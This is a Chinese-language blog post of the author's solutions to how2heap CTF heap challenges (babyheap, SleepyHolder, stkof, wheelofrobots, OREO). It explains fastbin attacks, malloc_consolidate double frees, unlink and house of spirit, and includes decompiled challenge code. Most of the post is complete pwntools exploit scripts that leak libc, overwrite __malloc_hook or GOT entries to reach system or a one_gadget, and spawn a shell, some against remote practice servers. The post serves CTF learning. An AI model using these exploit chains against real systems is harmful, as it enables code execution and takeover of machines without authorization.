How2heap Exp

注意
本文最后更新于 2024-02-12,文中内容可能已过时。

从今天开始写how2heap里面的一些例题,这里会放对应的exp。

babyheap_0ctf_2017(2020.11.25 - 54min)

由于是calloc申请空间的,所以chunk overlapping后需要恢复覆盖到的heap的size。

  1. heap overflow
  2. chunk overlapping
  3. unsorted bin leak
  4. fastbin attack __malloc_hook
  5. one_gadget
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
#r = process('./babyheap_0ctf_2017')
r = remote('node3.buuoj.cn', 26704)
elf = ELF('./babyheap_0ctf_2017')

def choice(idx):
    r.sendlineafter("Command: ", str(idx))

def add_heap(size):
    choice(1)
    r.sendlineafter("Size: ", str(size))

def edit_heap(idx, content):
    choice(2)
    r.sendlineafter("Index: ", str(idx))
    r.sendlineafter("Size: ", str(len(content)))
    r.sendafter("Content: ", content)

def delete_heap(idx):
    choice(3)
    r.sendlineafter("Index: ", str(idx))

def show_heap(idx):
    choice(4)
    r.sendlineafter("Index: ", str(idx))

add_heap(0x18) #0
add_heap(0x18) #1
add_heap(0x88) #2
add_heap(0x18) #3
edit_heap(0, 'a' * 0x18 + '\xb1')

delete_heap(1)
add_heap(0xa8) #1
edit_heap(1, 'a' * 0x18 + '\x91')
delete_heap(2) #2
show_heap(1)
main_arena_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 88
print "main_arena_addr: " + hex(main_arena_addr)
malloc_hook_addr = main_arena_addr - 0x10
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
print "libc_base: " + hex(libc_base)

add_heap(0x68) #2
delete_heap(2)
edit_heap(1, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23))
add_heap(0x68) #2

add_heap(0x68) #4
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
print "one_gadget: " + hex(one_gadget)
edit_heap(4, 'a' * 0x13 + p64(one_gadget))
delete_heap(4)
#gdb.attach(r)
r.interactive()

Hitcon 2016 SleepyHolder(2020.11.26 - 65min)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  unsigned int buf; // [rsp+4h] [rbp-1Ch]
  int fd; // [rsp+8h] [rbp-18h]
  int v6; // [rsp+Ch] [rbp-14h]
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_400CEB();
  puts("Waking Sleepy Holder up ...");
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  buf &= 0xFFFu;
  malloc(buf);
  sleep(3u);
  puts("Hey! Do you have any secret?");
  puts("I can help you to hold your secrets, and no one will be able to see it :)");
  while ( 1 )
  {
    puts("1. Keep secret");
    puts("2. Wipe secret");
    puts("3. Renew secret");
    memset(&s, 0, 4uLL);
    read(0, &s, 4uLL);
    v3 = atoi(&s);
    v6 = v3;
    switch ( v3 )
    {
      case 2:
        delete_heap();
        break;
      case 3:
        read_content();
        break;
      case 1:
        add_heap();
        break;
    }
  }
}


unsigned __int64 add_heap()
{
  int v0; // eax
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  if ( !huge_chunk_inuse )
    puts("3. Keep a huge secret and lock it forever");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 2 )
  {
    if ( !large_chunk_inuse )
    {
      large_chunk_ptr = calloc(1uLL, 0xFA0uLL);
      large_chunk_inuse = 1;
      puts("Tell me your secret: ");
      read(0, large_chunk_ptr, 0xFA0uLL);
    }
  }
  else if ( v0 == 3 )
  {
    if ( !huge_chunk_inuse )
    {
      huge_chunk_ptr = calloc(1uLL, 0x61A80uLL);
      huge_chunk_inuse = 1;
      puts("Tell me your secret: ");
      read(0, huge_chunk_ptr, 0x61A80uLL);
    }
  }
  else if ( v0 == 1 && !small_chunk_inuse )
  {
    small_chunk_ptr = calloc(1uLL, 0x28uLL);
    small_chunk_inuse = 1;
    puts("Tell me your secret: ");
    read(0, small_chunk_ptr, 0x28uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}


unsigned __int64 delete_heap()
{
  int v0; // eax
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 1 )
  {
    free(small_chunk_ptr);
    small_chunk_inuse = 0;
  }
  else if ( v0 == 2 )
  {
    free(large_chunk_ptr);
    large_chunk_inuse = 0;
  }
  return __readfsqword(0x28u) ^ v3;
}


unsigned __int64 read_content()
{
  int v0; // eax
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to renew?");
  puts("1. Small secret");
  puts("2. Big secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 1 )
  {
    if ( small_chunk_inuse )
    {
      puts("Tell me your secret: ");
      read(0, small_chunk_ptr, 0x28uLL);
    }
  }
  else if ( v0 == 2 && large_chunk_inuse )
  {
    puts("Tell me your secret: ");
    read(0, large_chunk_ptr, 0xFA0uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}

由于只能申请三个chunk, small chunk: 0x38, large chunk: 0xFA0, huge chunk: 0x61A80。 huge chunk 用于隔开top chunk,主要利用在于small chunk和large chunk。 Free后指针没有清0,可以free多次。但是由于只能申请一个chunk,所以一般的fastbin attack是不行的。 这里的做法是利用malloc_consolidate来使fastbin进入unsorted bin。

malloc_consolidate 触发条件

  1. 申请一块为 large bin 范围内的chunk (x86: 0x400; x64: 0x800)
  2. 申请一块大于 top chunk 的chunk
  3. 在free函数合并chunk后,如果合并的chunk满足以下条件
  4. 不属于fastbin
  5. 不属于map
  6. 不与top chunk相邻
  7. size大于FASTBIN_CONSOLIDATION_THRESHOLD(0x10000)

malloc_consolidate 会干什么

  1. 清空fastbinY
  2. 向前合并, unlink
  3. 判断后一块是不是top chunk,如果是则合并
  4. 向后合并, unlink
  5. 清除操作堆块的下一块的p标志位(PREV_INUSE)
  6. 把fastbin合并后放入unsorted bin中

malloc_consolidate 怎么利用 由于double free的时候会检测fastbin链表的头部,如果头部和当前要释放的指针是同一个,那就触发了double free,从而导致了检测报错。所以一般用a->b->a的方式来绕过,但是这个绕过方法的前提是至少需要申请两个chunk 但是在只能申请一个chunk的题目中,那么利用malloc_consolidate是最好的方法。 这个函数会把当前fastbin的内容放入到unsorted bin中,那么我们这时候再free一次,就构成了, fastbin有一个指针,unsorted bin又有一个指针,那么就构成了double free。 但是这个double free不是一般利用方法,我们要凭借着malloc_consolidate清除的操作堆块的下一块的p标志位(PREV_INUSE),来进行伪造堆块(fake chunk),成功达成unlink中最重要的条件,来进行unlink从而控制全局堆指针数组。

值得一提的是,如果程序对申请堆块进行了限制,那么可以利用scanf等函数,输入大于0x400长度的文本,函数会申请一块大于0x400的chunk来当做缓冲区,此时也可以触发malloc_consolidate。

题目操作

  1. double free(malloc_consolidate)
  2. unlink
  3. free -> puts, leak [email protected]
  4. free -> system
  5. getshell

除了第一步,其他都是常规操作了,如果unlink那里没懂的,可以看一下我的另一篇文章,那里有详细的介绍。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
#r = process('./sleepyHolder_hitcon_2016')
r = remote('node3.buuoj.cn', 26219)
elf = ELF('./sleepyHolder_hitcon_2016')
flag = False
def choice(idx):
    r.sendlineafter("3. Renew secret\n", str(idx))

def malloc(type, content):
    #0x28 0xFA0 0x61A80
    choice(1)
    if flag:
        r.sendlineafter("2. Big secret\n", str(type))
    else:
        r.sendlineafter("3. Keep a huge secret and lock it forever\n", str(type))
    r.sendlineafter("Tell me your secret: \n", content)

def free(type):
    choice(2)
    r.sendlineafter("2. Big secret\n", str(type))

def edit(type, content):
    choice(3)
    r.sendlineafter("2. Big secret\n", str(type))
    r.sendlineafter("Tell me your secret: \n", content)

#double free
malloc(1, 'small')
malloc(2, 'big')
free(1)
malloc(3, 'large') #malloc_consolidate
free(1)

#unlink
ptr = 0x6020D0
FD = ptr - 0x18
BK = ptr - 0x10
flag = True
malloc(1, p64(0) + p64(0x21) + p64(FD) + p64(BK) + p64(0x20))
free(2)

#leak [email protected]
edit(1, 'a' * 8 + p64(elf.got['atoi']) + p64(0) + p64(elf.got['free']))
edit(1, p64(elf.plt['puts']) + p64(elf.plt['puts'] + 6))
free(2) #puts(elf.got['atoi'])
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print 'atoi_addr: ' + hex(atoi_addr)
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
print 'libc_base: ' + hex(libc_base)

#free -> system
system_addr = libc_base + libc.dump('system')
print 'system_addr: ' + hex(system_addr)
edit(1, p64(system_addr) + p64(elf.plt['puts'] + 6))

#getshell
malloc(2, 'sh\x00')
free(2)
r.interactive()

HITCON CTF 2014-stkof(2020-11-26 60min)

这道题的难度并不应该需要60min,只是一个简单的unlink。 但是这道题有个坑,现在都没怎么搞明白的坑。 系统会malloc两个块,并且分别穿插在你申请的第一个堆块的上面(0x1011)和下面(0x411)。 查看数据大概猜测,上面那个chunk应该是读入数据时候使用的chunk,而下面的chunk就是输出数据的时候使用的chunk。 分别是fgets和puts创建的。 我刚开始调试的时候百思不得其解,按理来说我都接受了数据,应该缓冲区里面的内容都会被释放吧,但是不知道为啥,这两个块就是卡在这里。

程序并没有进行 setvbuf 操作,因此在初次执行 io 函数时,会在堆上分配空间

所以必须在头部防止一个chunk,来防止这两个块阻拦。从而达到成功修改PREV_INUSE的目的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./stkof')
#r = remote('node3.buuoj.cn', 29634)
elf = ELF('./stkof')
def choice(idx):
    r.sendline(str(idx))

def malloc(size):
    choice(1)
    r.sendline(str(size))
    r.recvuntil('OK\n')

def free(idx):
    choice(3)
    r.sendline(str(idx))
    #r.recvuntil('OK\n')

def edit(idx, content):
    choice(2)
    r.sendline(str(idx))
    r.sendline(str(len(content)))
    r.send(content)
    r.recvuntil('OK\n')

malloc(0x18)
malloc(0x88)
malloc(0x88)

ptr = 0x602140 + 0x10
FD = ptr - 0x18
BK = ptr - 0x10

edit(2, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x88 - 0x20 - 0x8) + p64(0x80) + '\x90')
free(3)
#gdb.attach(r)
edit(2, 'a' * 0x18 + p64(elf.got['free']) + p64(elf.got['atoi']) + p64(elf.got['atoi']))
edit(2, p64(elf.plt['puts']))
free(3)
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
edit(4, p64(system_addr))
r.sendline('sh\x00')
r.interactive()

gdb调试.png 嗯,果然是puts申请了0x400,用完还不释放。

2017 insomni’hack wheelofrobots(2020-11-27 225min)

都是熟悉的操作,组合在一起居然可以这么难(恶心)。 做这道题的时候脑子太浑浊了,建议可以把思路写下来再做。

  1. UAF & fastbin attack
  2. heap overflow
  3. unlink
  4. [email protected] -> [email protected] & leak
  5. [email protected] -> [email protected]
  6. getshell
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./wheelofrobots')
elf = ELF('./wheelofrobots')

def choice(idx):
    r.sendlineafter("Your choice : ", str(idx))

def add_heap(type, size = 0):
    choice(1)
    r.sendlineafter("Your choice :", str(type))
    if type == 2:
        r.sendlineafter("Increase Bender's intelligence: ", str(size))
    if type == 3:
        r.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
    if type == 6:
        r.sendlineafter("Increase Destructor's powerful: ", str(size))

def delete_heap(type):
    choice(2)
    r.sendlineafter("Your choice :", str(type))

def edit_heap(type, content):
    choice(3)
    r.sendlineafter("Your choice :", str(type))
    r.sendlineafter("Robot's name: ", content)

def mark(data):
    choice(1)
    r.sendlineafter("Your choice :", '1111' + data[0])

#change size
add_heap(2, 1)
delete_heap(2)
mark('\x01')
heap3_size = 0x603140
edit_heap(2, p64(heap3_size - 0x8))
mark('\x00')
add_heap(2, 1) #fastbin: 0x603140->0
add_heap(3, 0x21) #fastbin check
add_heap(1) #0x603140
delete_heap(2)
delete_heap(3)

#unlink
add_heap(6, 7) #98 A1
edit_heap(1, p64(0x8)) #change size, heap overflow
add_heap(4) #key
ptr = 0x6030E8
FD = ptr - 0x18
BK = ptr - 0x10
edit_heap(6, p64(0) + p64(0x91) + p64(FD) + p64(BK) + 'a' * (0x98 - 0x20 - 0x8) + p64(0x90) + p64(0xFB0)) # fake chunk
delete_heap(4) #unlink

#leak
add_heap(2, 1)
edit_heap(6, 'a' * 0x18 + p64(elf.got['free']) + p64(elf.got['atoi']) + '\n')
#[email protected] -> [email protected]
edit_heap(6, p64(elf.plt['puts']) + '\n')
delete_heap(2)
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')

#[email protected] -> [email protected]
edit_heap(6, p64(system_addr) + '\n')

#getshell
add_heap(2, 1)
edit_heap(2, "sh")
delete_heap(2)

r.interactive()

hack.lu CTF 2014-OREO(2020-11-28 - 227min)

学习了一下house of spirit,这个操作的基本思想就是构造chunk malloc和free条件,从而伪造堆块(到堆栈上)。 这里分为malloc和free两个部分 malloc的时候fastbin的主要检测就是size位是否符合; free的时候有两个检测:

  1. 对当前chunk的SIZE位的检测,IS_MMAPPED 位和 NON_MAIN_ARENA位都要为0,PREV_INUSE不影响。
  2. free的时候有一个对next chunk的检测
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
                      <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                         >= av->system_mem, 0))
  {
    bool fail = true;
    /* We might not have a lock at this point and concurrent modifications
       of system_mem might result in a false positive.  Redo the test after
       getting the lock.  */
    if (!have_lock)
      {
        __libc_lock_lock (av->mutex);
        fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
                || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
        __libc_lock_unlock (av->mutex);
      }
    if (fail)
      malloc_printerr ("free(): invalid next size (fast)");
  }

意思就是next chunk (根据当前的size计算得出)的size要在2 * SIZE_SZ <= size <= av->system_mem范围内,在64为下SIZE_SZ为8,也就是要大于0x10,system_mem是128kb,也就是要小于128kb(0x20000)

这道题很多打印都没有\n,所以信息不会立马返回,要用r.sendline来代替r.sendlineafter 这道题伪造的chunk在BSS上,在堆栈上的题目也是这个原理,但是要更加复杂一些。 chunk的结构体,用IDA导入(Shift + F1),方便分析程序。

1
2
3
4
5
6
struct node
{
  char description[25];
  char name[27];
  _DWORD next_ptr;
};
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./oreo')
elf = ELF('./oreo')

def choice(idx):
    #r.sendlineafter("Action: ", str(idx))
    r.sendline(str(idx))

def add(next_ptr):
    choice(1)
    r.sendline('a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
    r.sendline('sh\x00')
    #r.sendlineafter("Rifle name: ", 'a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
    #r.sendlineafter("Rifle description: ", 'a')

def show():
    choice(2)

def free():
    choice(3)

def add_msg(msg):
    choice(4)
    r.sendline(msg)
    #r.sendlineafter("Enter any notice you'd like to submit with your order: ", msg)

def show_stats():
    choice(5)

msg_chunk_ptr = 0x0804A2C0
add(elf.got['puts'])
show()
puts_addr = u32(r.recvuntil('\xf7')[-4:].ljust(4, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print "libc_base: " + hex(libc_base)
system_addr = libc_base + libc.dump('system')

#fake chunk mark (0x41)
for i in range(0x41 - 0x2):
    add(0)

add_msg(p32(0) + p32(0x41) + '\x00' * (0x40 - 0x8) + p32(0x21))
add(msg_chunk_ptr + 0x8)

free()
order_msg_ptr = 0x0804A2A8
FD = order_msg_ptr - 0x8
add_msg(p32(0) + p32(0x41) + p32(FD))

add(0)
choice(1)
r.sendline('a')
r.sendline(p32(elf.got['free']))

#free -> system
add_msg(p32(system_addr) + p32(elf.plt['fgets'] + 6))
add(0)
free()

r.interactive()

后续更新: 这道题目远程打不通,这里给出靶机提供者所说的话 cutz: yea the libc is self compiled [and] guessing offset sucks ^^

  1. 所以这道题可能要用ret2_dl_resolve来做。
  2. 这道题目虽然是NO RELRO,但是没有空间可以用于写入STRTAB。所以暂时不知道怎么解决。
  3. 我终于解决了,成功篡改STRTAB,但是需要很多的技巧,这部分内容我选择放到:https://blog.wjhwjhn.com/archives/81/ 这篇文章中,作为NO RELRO的例子来描述。
  4. 在how2heap看到的一篇文章,因为是英文的,所以没有仔细研究:http://wapiflapi.github.io/2014/11/17/hacklu-oreo-with-ret2dl-resolve.html

2020-11-29 后面的太难了,先去做点基础的练练手,poison_null_byte.c

0%